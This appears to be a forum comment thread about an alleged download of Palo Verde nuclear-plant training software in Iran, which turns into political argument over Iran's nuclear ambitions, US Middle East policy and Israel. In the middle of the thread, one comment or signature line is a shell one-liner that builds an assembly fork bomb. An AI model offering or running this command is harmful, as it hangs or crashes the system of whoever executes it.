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Nuclear Training Software Downloaded To Iran
SixFactor sends in word of a theft of training software for a nuclear plant. An ex-employee of the Palo Verde Nuclear Generating Station, in Arizona, allegedly downloaded training software to his laptop while he was in Iran. The software was downloaded from a Maryland-based contractor to the nuclear plant. It contained information about the Palo Verde facility: control rooms, reactors, and design. It was used to simulate situations for training at the site. Why the ex-engineer downloaded the software is not known. What is troubling is this person's ability to access the software after his employment at the site ended.
So this post is downloaded from my computer?
Your hair look like poop, Bob! - Wanker.
All of the governments you listed had fair doses of common sense. They knew that if they were to use said weapons in attack, retaliation would be pretty bad and much of the country would be destroyed. Nucelar weapons for them were for defensive posturing so no-one would try and attack them.
Iran however seems to relish the scenario of massive retaliation and would by the words of the current leader love to be obliterated, because the ideals they are fighting for would live on in the region only without Israel around to bother them any longer.
Now the people of Iran are quite different than the leader, they are rational and fine people indeed. But it only takes a handful of guys to press that magic button. Attacking them is not the right solution (and I don't really see anyone making moves to do so). But letting them get nuclear weapons is not the right answer either. How you solve those contradctory needs I have no idea.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
None of which is to say I'd like Iran to go nuclear, nor do I believe their claim of only being interested in power generation (after watching what happened to their neighbor, there's simply no way Iran could not want that protection).
Why not respond to all the cowards at once?
Basically attacks on Israel upset me as a person who finds the instant deaths of millions in any country (Iran or Israel) disquieting. If you are an environmentalist you should be concerend with all the radioactive dust coating the planet. If you are a libertarian you should be concerned because a nuclear exchange in the middle east means big-time ramping of of miltary spending across the planet. If you are an international foreign policy wonk you would have to be concerned about total disruption to the middle east.
But to go back to the first point, if you are a human being with any emptahy at all the thought of any use of nuclear weapons against anyone, no matter how seemingly bad to you currently, should be unthinkable. Shame on you if you think otherwise.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Just to clear the air about Iran, It wasn't a matter of the enemy of the enemy. We have always had some relationship with the area, but the most noticeable interaction was WW1 and the fall of the ottoman empire. The winners took it upon themselves to redistribute the areas based on some old boundaries and each these territories were divided among different allied countries to maintain peace and establish a workable country from the ashes. This was the mandate of the league of nations and cause israel (with the balfour declaration) to happen well before WW2 were most people try to place the blame.
This is how the British and french got involved in the middle east and eventually pulled America with them. The french got Vietnam too and there were several other parts to note. It is strange but most of the problems areas we have faced in the end of the last century were problems we were trying to fix at the beginning.
But you are right in that we had a big problem with siding with people just because they were against our enemy. Our involvement with Iraq was one issue were at the request of Kuwait we helped Iraq defend Kuwait from Iran. Before this, we didn't care for Iraq and favored Iran until they revolted into what they are today.
While I'm no great fan of constructive engagement with China, engaging middle eastern despots doesn't seem unreasonable, especially in the context of the cold war. In fact, given that attempting to bring democracy to the region has failed in Iraq and they have a shared enemy in the form of Islamic radicals, I think the US will go back to doing this once Bush has left office.
And the good people at the UN have decided in the Non Proliferation Treaty that every state has the 'inalienable right' to develop nuclear power, as current Iranian president Ahmacrazyguy never tires of pointing out. The idea was that in return for signing it, the nuclear powers would help them with non proliferating power stations, under IAEA supervision. All of which is utterly laughable given the way India, Pakistan and now North Korea and Iran have stayed in the NPT long enough to build up a domestic nuclear industry and then quit just before detonating their first bomb.
Looking at the Shah's program, he would probably have pulled the same trick. As some expat Iranian pointed out to me, the Shah wasn't very nice, but he also wasn't stupid.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Which isn't to say that the Shah was exactly a nice fellow that you'd want to invite over for dinner, but that GE and Westinghouse were working to sell nuclear-power stuff there isn't as untoward as it might sound."
The Shah himself wasn't that bad - at least compared to the normal rulers in that region (by our standards he sucked big time). I've never been that angry we supported him, more angry in how our support materialized. Enough to keep him in power with no opposition, but then dropping it at the first opportunity for a radical anti-western violent govt.
"I don't know if that was just the Carter administration being typically asleep at the switch, or if nobody suspected things were deteriorating that quickly,"
There is a little bit of all of that. Like most intelligence failures you can not blame it on one point and you can also point to people who "knew" what was going on (whether they actually knew or were just lucky is up to debate - same thing with Iraq's WMD program). Not a big fan of Carter presidency - in fact I think his handling of the hostages was horrid. However, the buildup to it - eh. Reasonable assumption, grossly incorrect. We will most likely never know exactly all the information he had (and the level of verifiability of it) so *really* difficult to answer the level of incompetence on his end.
"Ultimately, the critical mistake of U.S. policy during the latter part of the 20th century was to think that the enemy of our Enemy (and that's how we really seemed to think about it; Enemy with a capital 'E,' that's E that rhymes with C and that stands for Communism) was our friend."
You can not really call it "shortsighted" - that assumes too much. At the time it wasn't just communism or capitalism (depending on your side) but total annihilation due to a nuclear war. In that light the Islamic Fundamentalism we are seeing, while bad, is a candle to the flame - at least at this point. I can not say we necessarily made the wrong decisions, nor can I say we made the correct ones. I will say that though failure was much more extreme I think we also had a MUCH larger percentage chance of success - as one of the saying goes about counting on the fact that the Russian/Americans love their children as much as we do - the people we are currently fighting celebrate death. We hope that enough of them love their children as much as we do and can stop them - otherwise we are screwed regardless of what we do (short of genocide against radical Islam and if it comes to that that we see the difference between radical and non-radical).
------- Sorry about the spelling, I suffer from two problems. Dyslexia makes it difficult to spell well, lazy makes it
Unfortunately for this particular argument, Iran did not start working on a nuclear weapon in March of 2003. The assertion that poor little Iran started working on their own nukes as a response to the invasion of Iraq is, to put it mildly, bullshit. They've been working on that for decades.
More to the point, the "we have nukes so you can't invade us, nyah" argument tends to dissolve if you consider that even a bunch of wacked up religious fanatics like the people who run Iran will eventually realize that using an atomic weapon would be the equivalent to comitting national suicide. The amount of damage they would be able to do would be limited at best, and their country would be turned into a sea of shiny smooth radioactive glass.
For almost five decades, the United States planned on fighting a limited tactical nuclear engagement in Germany. Against 28 motorized rifle and armored divisions of the fucking Red Army. How long do you figure the super-duper "Revolutionary Guards" would last down there with their toy Hiroshima-scale bombs, the complete inability to manuever anything larger than a division and no air superiority? About a week or so?
I really hope to hell nothing like that happens, ever. But if it does, that's exactly what will happen. And that's assuming Israel doesn't get to them first.
When the "you, sire" who "CANNOT" has denied the Holocaust and publically stated his goal to "wipe another country off the map", and the "CAN" involves building and possessing nuclear weapons that would make a Holocaust 2 much easier for a fanatic to pull off, I think it should be clear why "you sire, CANNOT".
You can't uninvent technology, so complete disarmament == giving the advantage to the first cheater. As for giving nukes over to some entity for "common control", surely you can't be proposing to transfer them to the UN!
Which is precisely why it's actually *good* for Iran to have a bomb of its own: that way, Israel won't be tempted to "preemptively" nuke them without fear of retribution. The balance of power worked wonders during the cold war, it will work extremely well in the middle east too.
A bunch of you guys would have badmouthed the US had they reported his firing for ANY reason in the first place. Anyone want to speculate how much information the guy transferred before he jumped the fence.
"God fights on the side with the best artillery." - Napoleon, Marshal of France - speaking truth to power
Where does the traffic come from? Well, in terms of pure volume of traffic, the US is of course in first place. Second? Iran.
I don't know what it means, but per-capita, that means that an obscenely large fraction of Iranian physics students are in the habit of Googling for answers to homework problems.
I was under the impression that there was some historical significance to the borders. Maybe it was just our versions of the significance?
As for the saber rattling, All the territories but the palistine-jewish conflicted areas were stabilized and return to local control in a relatively quick fashion. I'm not saying there wasn't problems. The history books call them ottman loyalist giving resistances. But the fact is, most of the area was under their own control or government in a fast amount of time.
I'm gaging this amount of time based around the idea from the empires England carried at the time. Even after they gave India back, there was some 50 years of transfer before India had their own control. Hong-Kong took a bit longer. By WW2, most of the Middle east had formed their own governments and was recognized as a independent country/state by most allied countries. French indo-china took a little longer but France seems to be a tyrant compared to some of the other participants.
Anyways, the liberated by occupying forces was something that was expected to divide the area enough so they didn't reform the ottoman empire which was a lot of problems to a lot of countries before WW1. They participated in pirating of the oceans and had a great deal to do with the slave trades. The US navy formed it's first marines for overseas deployment because of this. Thomas Jefferson supposedly asked the ambassador to them what gave them the right to pirate ships on the other side of the globe and enslave the workers in them? He replied Allah gave them the right prompting Jefferson to work on getting the US a standing navy and forces to deal with this. When he was president, the marines invaded tripoli and the rest is history. So even America has had some trouble in the past with the ottoman empire durring it's ealry stages of development. It just wasn't a good idea to give them that ability.
Now if only we had had so much though over germany, we might have avoided WW2 and the world as we know it might be a better place. It would be a different place, most of the arms developed for war and the power current countries seem to hold came from WW2. But there is no guarantee that it would be any better, just different.
And also, he doesn't distinguish between Jews and Israelis. Imagine criticizing Taiwan's government and being labeled as anti-Buddhist - it would prevent any real discussion of Taiwan-Chinese issues and make progress in that area almost impossible.
I was going for number five: "to support ... in the face of criticism".
What the US does is "give" them money that can only be used to buy AMERICAN-MADE arms, thus entering a mutually-beneficial pact where one side gains arms and the other brings jobs home.
Which has the same economic effect as buying the arms from American companies and giving them to Israel. That's contributing to the defense of Israel. If they just wanted to make jobs, they'd buy stuff and then melt it down again.
Israel does not depend on US arms either.
Who cares. That fact has no relevance.
the UN has, for most of its history, been skewed in favor of arab (sic) interests.
Most of the rest of the world sees the UN as neutral, passing resolutions against Israel, Palestine, Iraq, etc, in a fairly balanced way; while the US is often seen as exceedingly pro-Israel, vetoing the resolutions against Israel alone. All I did way try to describe some possible influences that would account for this difference.